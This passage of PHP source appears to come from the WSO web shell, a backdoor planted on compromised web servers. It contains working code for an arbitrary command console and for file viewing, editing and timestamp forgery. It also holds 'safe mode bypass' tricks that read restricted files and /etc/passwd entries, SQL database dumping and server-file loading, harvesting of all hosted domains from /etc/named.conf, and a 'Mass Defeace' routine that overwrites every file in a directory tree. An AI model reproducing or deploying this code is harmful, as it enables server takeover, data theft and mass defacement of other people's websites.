677 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
678 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
679 $l = $l?0:1;
680 }
681 echo "<tr><td colspan=7>
682 <input type=hidden name=a value='FilesMan'>
683 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
684 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
685 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
686 if(class_exists('ZipArchive'))
687 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
688 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
689 echo "<option value='paste'>Paste / zip</option>";
690 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
691 wsoFooter();
692}
693
694function actionStringTools() {
695 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
696 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
697 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
698 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
699 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
700 $stringTools = array(
701 'Base64 encode' => 'base64_encode',
702 'Base64 decode' => 'base64_decode',
703 'Url encode' => 'urlencode',
704 'Url decode' => 'urldecode',
705 'Full urlencode' => 'full_urlencode',
706 'md5 hash' => 'md5',
707 'sha1 hash' => 'sha1',
708 'crypt' => 'crypt',
709 'CRC32' => 'crc32',
710 'ASCII to HEX' => 'ascii2hex',
711 'HEX to ASCII' => 'hex2ascii',
712 'HEX to DEC' => 'hexdec',
713 'HEX to BIN' => 'hex2bin',
714 'DEC to HEX' => 'dechex',
715 'DEC to BIN' => 'decbin',
716 'BIN to HEX' => 'binhex',
717 'BIN to DEC' => 'bindec',
718 'String to lower case' => 'strtolower',
719 'String to upper case' => 'strtoupper',
720 'Htmlspecialchars' => 'htmlspecialchars',
721 'String length' => 'strlen',
722 );
723 if(isset($_POST['ajax'])) {
724 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
725 ob_start();
726 if(in_array($_POST['p1'], $stringTools))
727 echo $_POST['p1']($_POST['p2']);
728 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\'.")."';\n";
729 echo strlen($temp), "\n", $temp;
730 exit;
731 }
732 wsoHeader();
733 echo '<h1>String conversions</h1><div class=content>';
734 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
735 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
736 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
737 foreach($stringTools as $k => $v)
738 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
739 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
740 if(!empty($_POST['p1'])) {
741 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
742 }
743 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
744 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
745 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
746 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
747 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
748 <tr><td></td><td><input type='submit' value='>>'></td></tr>
749 </table></form>";
750
751 function wsoRecursiveGlob($path) {
752 if(substr($path, -1) != '/')
753 $path.='/';
754 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
755 if(is_array($paths)&&@count($paths)) {
756 foreach($paths as $item) {
757 if(@is_dir($item)){
758 if($path!=$item)
759 wsoRecursiveGlob($item);
760 } else {
761 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
762 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
763 }
764 }
765 }
766 }
767 if(@$_POST['p3'])
768 wsoRecursiveGlob($_POST['c']);
769 echo "</div><br><h1>Search for hash:</h1><div class=content>
770 <form method='post' target='_blank' name='hf'>
771 <input type='text' name='hash' style='width:200px;'><br>
772 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
773 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
774 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
775 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
776 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
777 </form></div>";
778 wsoFooter();
779}
780
781function actionFilesTools() {
782 if( isset($_POST['p1']) )
783 $_POST['p1'] = urldecode($_POST['p1']);
784 if(@$_POST['p2']=='download') {
785 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
786 ob_start("ob_gzhandler", 4096);
787 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
788 if (function_exists("mime_content_type")) {
789 $type = @mime_content_type($_POST['p1']);
790 header("Content-Type: ".$type);
791 }
792 $fp = @fopen($_POST['p1'], "r");
793 if($fp) {
794 while(!@feof($fp))
795 echo @fread($fp, 1024);
796 fclose($fp);
797 }
798 }exit;
799 }
800 if( @$_POST['p2'] == 'mkfile' ) {
801 if(!file_exists($_POST['p1'])) {
802 $fp = @fopen($_POST['p1'], 'w');
803 if($fp) {
804 $_POST['p2'] = "edit";
805 fclose($fp);
806 }
807 }
808 }
809 wsoHeader();
810 echo '<h1>File tools</h1><div class=content>';
811 if( !file_exists(@$_POST['p1']) ) {
812 echo 'File not exists';
813 wsoFooter();
814 return;
815 }
816 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
817 if(!$uid) {
818 $uid['name'] = @fileowner($_POST['p1']);
819 $gid['name'] = @filegroup($_POST['p1']);
820 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
821 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
822 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
823 if( empty($_POST['p2']) )
824 $_POST['p2'] = 'view';
825 if( is_file($_POST['p1']) )
826 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
827 else
828 $m = array('Chmod', 'Rename', 'Touch');
829 foreach($m as $v)
830 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
831 echo '<br><br>';
832 switch($_POST['p2']) {
833 case 'view':
834 echo '<pre class=ml1>';
835 $fp = @fopen($_POST['p1'], 'r');
836 if($fp) {
837 while( !@feof($fp) )
838 echo htmlspecialchars(@fread($fp, 1024));
839 @fclose($fp);
840 }
841 echo '</pre>';
842 break;
843 case 'highlight':
844 if( @is_readable($_POST['p1']) ) {
845 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
846 $code = @highlight_file($_POST['p1'],true);
847 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
848 }
849 break;
850 case 'chmod':
851 if( !empty($_POST['p3']) ) {
852 $perms = 0;
853 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
854 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
855 if(!@chmod($_POST['p1'], $perms))
856 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
857 }
858 clearstatcache();
859 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
860 break;
861 case 'edit':
862 if( !is_writable($_POST['p1'])) {
863 echo 'File isn\'t writeable';
864 break;
865 }
866 if( !empty($_POST['p3']) ) {
867 $time = @filemtime($_POST['p1']);
868 $_POST['p3'] = substr($_POST['p3'],1);
869 $fp = @fopen($_POST['p1'],"w");
870 if($fp) {
871 @fwrite($fp,$_POST['p3']);
872 @fclose($fp);
873 echo 'Saved!<br><script>p3_="";</script>';
874 @touch($_POST['p1'],$time,$time);
875 }
876 }
877 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
878 $fp = @fopen($_POST['p1'], 'r');
879 if($fp) {
880 while( !@feof($fp) )
881 echo htmlspecialchars(@fread($fp, 1024));
882 @fclose($fp);
883 }
884 echo '</textarea><input type=submit value=">>"></form>';
885 break;
886 case 'hexdump':
887 $c = @file_get_contents($_POST['p1']);
888 $n = 0;
889 $h = array('00000000<br>','','');
890 $len = strlen($c);
891 for ($i=0; $i<$len; ++$i) {
892 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
893 switch ( ord($c[$i]) ) {
894 case 0: $h[2] .= ' '; break;
895 case 9: $h[2] .= ' '; break;
896 case 10: $h[2] .= ' '; break;
897 case 13: $h[2] .= ' '; break;
898 default: $h[2] .= $c[$i]; break;
899 }
900 $n++;
901 if ($n == 32) {
902 $n = 0;
903 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
904 $h[1] .= '<br>';
905 $h[2] .= "\n";
906 }
907 }
908 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
909 break;
910 case 'rename':
911 if( !empty($_POST['p3']) ) {
912 if(!@rename($_POST['p1'], $_POST['p3']))
913 echo 'Can\'t rename!<br>';
914 else
915 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
916 }
917 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
918 break;
919 case 'touch':
920 if( !empty($_POST['p3']) ) {
921 $time = strtotime($_POST['p3']);
922 if($time) {
923 if(!touch($_POST['p1'],$time,$time))
924 echo 'Fail!';
925 else
926 echo 'Touched!';
927 } else echo 'Bad time format!';
928 }
929 clearstatcache();
930 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
931 break;
932 }
933 echo '</div>';
934 wsoFooter();
935}
936
937function actionSafeMode() {
938 $temp='';
939 ob_start();
940 switch($_POST['p1']) {
941 case 1:
942 $temp=@tempnam($test, 'cx');
943 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
944 echo @file_get_contents($temp);
945 unlink($temp);
946 } else
947 echo 'Sorry... Can\'t open file';
948 break;
949 case 2:
950 $files = glob($_POST['p2'].'*');
951 if( is_array($files) )
952 foreach ($files as $filename)
953 echo $filename."\n";
954 break;
955 case 3:
956 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
957 curl_exec($ch);
958 break;
959 case 4:
960 ini_restore("safe_mode");
961 ini_restore("open_basedir");
962 include($_POST['p2']);
963 break;
964 case 5:
965 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
966 $uid = @posix_getpwuid($_POST['p2']);
967 if ($uid)
968 echo join(':',$uid)."\n";
969 }
970 break;
971 }
972 $temp = ob_get_clean();
973 wsoHeader();
974 echo '<h1>Safe mode bypass</h1><div class=content>';
975 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
976 if($temp)
977 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
978 echo '</div>';
979 wsoFooter();
980}
981
982function actionConsole() {
983 if(isset($_POST['ajax'])) {
984 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
985 ob_start();
986 echo "document.cf.cmd.value='';\n";
987 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\'."));
988 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
989 if(@chdir($match[1])) {
990 $GLOBALS['cwd'] = @getcwd();
991 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
992 }
993 }
994 echo "document.cf.output.value+='".$temp."';";
995 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
996 $temp = ob_get_clean();
997 echo strlen($temp), "\n", $temp;
998 exit;
999 }
1000 wsoHeader();
1001 echo "<script>
1002if(window.Event) window.captureEvents(Event.KEYDOWN);
1003var cmds = new Array('');
1004var cur = 0;
1005function kp(e) {
1006 var n = (window.Event) ? e.which : e.keyCode;
1007 if(n == 38) {
1008 cur--;
1009 if(cur>=0)
1010 document.cf.cmd.value = cmds[cur];
1011 else
1012 cur++;
1013 } else if(n == 40) {
1014 cur++;
1015 if(cur < cmds.length)
1016 document.cf.cmd.value = cmds[cur];
1017 else
1018 cur--;
1019 }
1020}
1021function add(cmd) {
1022 cmds.pop();
1023 cmds.push(cmd);
1024 cmds.push('');
1025 cur = cmds.length-1;
1026}
1027</script>";
1028 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1029 foreach($GLOBALS['aliases'] as $n => $v) {
1030 if($v == '') {
1031 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1032 continue;
1033 }
1034 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1035 }
1036 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1037 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
1038 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1039 if(!empty($_POST['p1'])) {
1040 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1041 }
1042 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1043 echo '</form></div><script>document.cf.cmd.focus();</script>';
1044 wsoFooter();
1045}
1046
1047function actionSelfRemove() {
1048
1049 if($_POST['p1'] == 'yes')
1050 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1051 die('Shell has been removed');
1052 else
1053 echo 'unlink error!';
1054 if($_POST['p1'] != 'yes')
1055 wsoHeader();
1056 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1057 wsoFooter();
1058}
1059//** updates
1060
1061 function clear_fill($filo,$index){
1062 if(file_exists($filo)){
1063 $handle = fopen($filo,'w');
1064 fwrite($handle,'');
1065 fwrite($handle,$index);
1066 fclose($handle); } }
1067
1068/////////
1069
1070function do_it(){
1071 global $dir , $index ;
1072 chdir($dir);
1073 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1074 $filos = scandir($dir) ;
1075 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
1076 sort($filos);
1077 $n = 0 ;
1078 echo "<center><textarea style='width: 950px; height: 300px;'>";
1079 foreach ($filos as $filo){
1080 if ( $filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow) ) {
1081 echo "$dir/$filo ====> ";
1082 edit_file($filo,$index);
1083 flush();
1084 $n = $n +1 ;
1085 } }
1086 echo "</textarea>";
1087 echo "<br>";
1088 echo "<br><h3>$n File Detected</h3></center><br>";
1089 }
1090
1091//////////////////////////////
1092function ListFiles($dirall) {
1093
1094 if($dh = opendir($dirall)) {
1095
1096 $filos = Array();
1097 $inner_files = Array();
1098 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1099 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
1100 while($filo = readdir($dh)) {
1101 if($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow) ) {
1102 if(is_dir($dirall . "/" . $filo)) {
1103 $inner_files = ListFiles($dirall . "/" . $filo);
1104 if(is_array($inner_files)) $filos = array_merge($filos, $inner_files);
1105 } else {
1106 array_push($filos, $dirall . "/" . $filo);
1107 }
1108 }
1109 }
1110
1111 closedir($dh);
1112 return $filos;
1113 }
1114}
1115 //////////////////////////////////////////
1116 function do_it_all(){
1117 global $index ;
1118 $dirall=$_POST['dir'];
1119 echo "<center><textarea style='width: 950px; height: 300px;'>";
1120 echo "Blowing All Files In Main Dir \n Task Started ;D \n";
1121foreach (ListFiles($dirall) as $key=>$filo){
1122 $filo = str_replace('//',"/",$filo);
1123 echo "$filo ===>";
1124 edit_file($filo,$index);
1125 flush();
1126}
1127 echo "</textarea>";
1128$key = $key+1;
1129echo "<br><h3>$key File Detected</h3></center><br>"; }
1130
1131////////
1132
1133function actionMass() {
1134 wsoHeader();
1135
1136 echo "<h1>Mass Defeace All Files</h1><div class=content>
1137 <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
1138 <strong>Index Code Here :</strong><br>
1139 <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
1140 <strong>Main Dir : </strong>
1141 <input name='dir' style='width: 550px' type='text' value=".getcwd()."/> | <strong>Options : </strong>
1142 <select name='option' style='width: 200px'>
1143 <option> </option>
1144 <option>Only for Selected Folder</option>
1145 <option>For all Sub Folders</option>
1146 </select>
1147 <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
1148if(isset($_POST['p1'])) {
1149 if ($_POST['indexit'])
1150{
1151 if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
1152 elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
1153 else {echo "Please select one option to work on it !!"; }
1154} }
1155
1156 wsoFooter();
1157}
1158
1159function actionDomain() {
1160 wsoHeader();
1161echo "<h1>Get All Server Domains</h1><div class=content>";
1162$d0mains = @file("/etc/named.conf");
1163
1164if(!$d0mains){ echo "<br> Can't ReaD -> [/etc/named.conf]";}
1165else {
1166echo "<table align=center border=1>
1167<tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
1168
1169foreach($d0mains as $d0main){
1170
1171if(eregi("zone",$d0main)){
1172
1173preg_match_all('#zone "(.*)"#', $d0main, $domains);
1174flush();
1175
1176if(strlen(trim($domains[1][0])) > 2){
1177
1178$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1179
1180echo "<tr><td><a target='_blank' href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
1181
1182}}}
1183
1184echo "</table>
1185<p align='center'>";
1186}
1187 wsoFooter();
1188}
1189
1190function actionSql() {
1191 class DbClass {
1192 var $type;
1193 var $link;
1194 var $res;
1195 function DbClass($type) {
1196 $this->type = $type;
1197 }
1198 function connect($host, $user, $pass, $dbname){
1199 switch($this->type) {
1200 case 'mysql':
1201 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1202 break;
1203 case 'pgsql':
1204 $host = explode(':', $host);
1205 if(!$host[1]) $host[1]=5432;
1206 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1207 break;
1208 }
1209 return false;
1210 }
1211 function selectdb($db) {
1212 switch($this->type) {
1213 case 'mysql':
1214 if (@mysql_select_db($db))return true;
1215 break;
1216 }
1217 return false;
1218 }
1219 function query($str) {
1220 switch($this->type) {
1221 case 'mysql':
1222 return $this->res = @mysql_query($str);
1223 break;
1224 case 'pgsql':
1225 return $this->res = @pg_query($this->link,$str);
1226 break;
1227 }
1228 return false;
1229 }
1230 function fetch() {
1231 $res = func_num_args()?func_get_arg(0):$this->res;
1232 switch($this->type) {
1233 case 'mysql':
1234 return @mysql_fetch_assoc($res);
1235 break;
1236 case 'pgsql':
1237 return @pg_fetch_assoc($res);
1238 break;
1239 }
1240 return false;
1241 }
1242 function listDbs() {
1243 switch($this->type) {
1244 case 'mysql':
1245 return $this->res = @mysql_list_dbs($this->link);
1246 break;
1247 case 'pgsql':
1248 return $this->res = $this->query("SELECT datname FROM pg_database");
1249 break;
1250 }
1251 return false;
1252 }
1253 function listTables() {
1254 switch($this->type) {
1255 case 'mysql':
1256 return $this->res = $this->query('SHOW TABLES');
1257 break;
1258 case 'pgsql':
1259 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1260 break;
1261 }
1262 return false;
1263 }
1264 function error() {
1265 switch($this->type) {
1266 case 'mysql':
1267 return @mysql_error($this->link);
1268 break;
1269 case 'pgsql':
1270 return @pg_last_error($this->link);
1271 break;
1272 }
1273 return false;
1274 }
1275 function setCharset($str) {
1276 switch($this->type) {
1277 case 'mysql':
1278 if(function_exists('mysql_set_charset'))
1279 return @mysql_set_charset($str, $this->link);
1280 else
1281 $this->query('SET CHARSET '.$str);
1282 break;
1283 case 'pgsql':
1284 return @pg_set_client_encoding($this->link, $str);
1285 break;
1286 }
1287 return false;
1288 }
1289 function loadFile($str) {
1290 switch($this->type) {
1291 case 'mysql':
1292 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1293 break;
1294 case 'pgsql':
1295 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1296 $r=array();
1297 while($i=$this->fetch())
1298 $r[] = $i['file'];
1299 $this->query('drop table wso2');
1300 return array('file'=>implode("\n",$r));
1301 break;
1302 }
1303 return false;
1304 }
1305 function dump($table) {
1306 switch($this->type) {
1307 case 'mysql':
1308 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1309 $create = mysql_fetch_array($res);
1310 echo $create[1].";\n\n";
1311 $this->query('SELECT * FROM `'.$table.'`');
1312 while($item = $this->fetch()) {
1313 $columns = array();
1314 foreach($item as $k=>$v) {
1315 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1316 $columns[] = "`".$k."`";
1317 }
1318 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1319 }
1320 break;
1321 case 'pgsql':
1322 $this->query('SELECT * FROM '.$table);
1323 while($item = $this->fetch()) {
1324 $columns = array();
1325 foreach($item as $k=>$v) {
1326 $item[$k] = "'".addslashes($v)."'";
1327 $columns[] = $k;
1328 }
1329 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1330 }
1331 break;
1332 }
1333 return false;
1334 }
1335 };
1336 $db = new DbClass($_POST['type']);
1337 if(@$_POST['p2']=='download') {
1338 ob_start("ob_gzhandler", 4096);
1339 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1340 $db->selectdb($_POST['sql_base']);
1341 header("Content-Disposition: attachment; filename=dump.sql");
1342 header("Content-Type: text/plain");
1343 foreach($_POST['tbl'] as $v)
1344 $db->dump($v);
1345 exit;
1346 }
1347 wsoHeader();
1348 echo "
1349<h1>Sql browser</h1><div class=content>
1350<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1351<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1352<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1353<td><select name='type'><option value='mysql' ";
1354 if(@$_POST['type']=='mysql')echo 'selected';
1355echo ">MySql</option><option value='pgsql' ";
1356if(@$_POST['type']=='pgsql')echo 'selected';
1357echo ">PostgreSql</option></select></td>
1358<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1359<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1360<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1361 $tmp = "<input type=text name=sql_base value=''>";
1362 if(isset($_POST['sql_host'])){
1363 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1364 switch($_POST['charset']) {
1365 case "Windows-1251": $db->setCharset('cp1251'); break;
1366 case "UTF-8": $db->setCharset('utf8'); break;
1367 case "KOI8-R": $db->setCharset('koi8r'); break;
1368 case "KOI8-U": $db->setCharset('koi8u'); break;
1369 case "cp866": $db->setCharset('cp866'); break;
1370 }
1371 $db->listDbs();
1372 echo "<select name=sql_base><option value=''></option>";
1373 while($item = $db->fetch()) {
1374 list($key, $value) = each($item);
1375 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1376 }
1377 echo '</select>';
1378 }
1379 else echo $tmp;
1380 }else
1381 echo $tmp;
1382 echo "</td>
1383 <td><input type=submit value='>>'></td>
1384 </tr>
1385 </table>
1386 <script>
1387 function st(t,l) {
1388 document.sf.p1.value = 'select';
1389 document.sf.p2.value = t;
1390 if(l!=null)document.sf.p3.value = l;
1391 document.sf.submit();
1392 }
1393 function is() {
